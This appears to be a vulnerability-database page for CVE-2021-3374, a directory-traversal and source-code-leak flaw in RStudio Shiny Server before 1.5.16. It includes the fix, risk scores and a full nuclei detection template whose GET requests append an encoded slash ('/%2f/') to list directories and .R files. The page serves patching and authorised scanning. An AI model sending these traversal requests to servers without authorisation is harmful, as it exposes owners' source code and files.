CVE-2021-3374· rstudio / shiny server· CWE-22
Rstudio Shiny Server <1.5.16 - Local File Inclusion
mediumseverity
5.3CVSS score
14.8%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.
Impact
Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially exposing sensitive information.
Fix
Upgrade Rstudio Shiny Server to version 1.5.16 or later to mitigate the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/%2f/ ; GET {{BaseURL}}/sample-apps/hello/%2f/
Positive when: contains "Index of /" AND matches /[A-Za-z].*\.R/ AND status 200Run it with nuclei: nuclei -id CVE-2021-3374 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-3374
info:
name: Rstudio Shiny Server <1.5.16 - Local File Inclusion
author: geeknik
severity: medium
description: Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.
impact: |
Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially exposing sensitive information.
remediation: |
Upgrade Rstudio Shiny Server to version 1.5.16 or later to mitigate the vulnerability.
reference:
- https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
- https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
- https://nvd.nist.gov/vuln/detail/CVE-2021-3374
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-3374
cwe-id: CWE-22
epss-score: 0.14808
epss-percentile: 0.96711
cpe: cpe:2.3:a:rstudio:shiny_server:*:*:*:*:pro:*:*:*
metadata:
max-request: 2
vendor: rstudio
product: shiny_server
tags: cve2021,cve,rstudio,traversal,vuln
http:
- method: GET
path:
- "{{BaseURL}}/%2f/"
- "{{BaseURL}}/sample-apps/hello/%2f/"
matchers-condition: and
matchers:
- type: word
words:
- "Index of /"
- type: regex
part: body
regex:
- "[A-Za-z].*\\.R"
- type: status
status:
- 200References
- https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
- https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
- https://nvd.nist.gov/vuln/detail/CVE-2021-3374
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from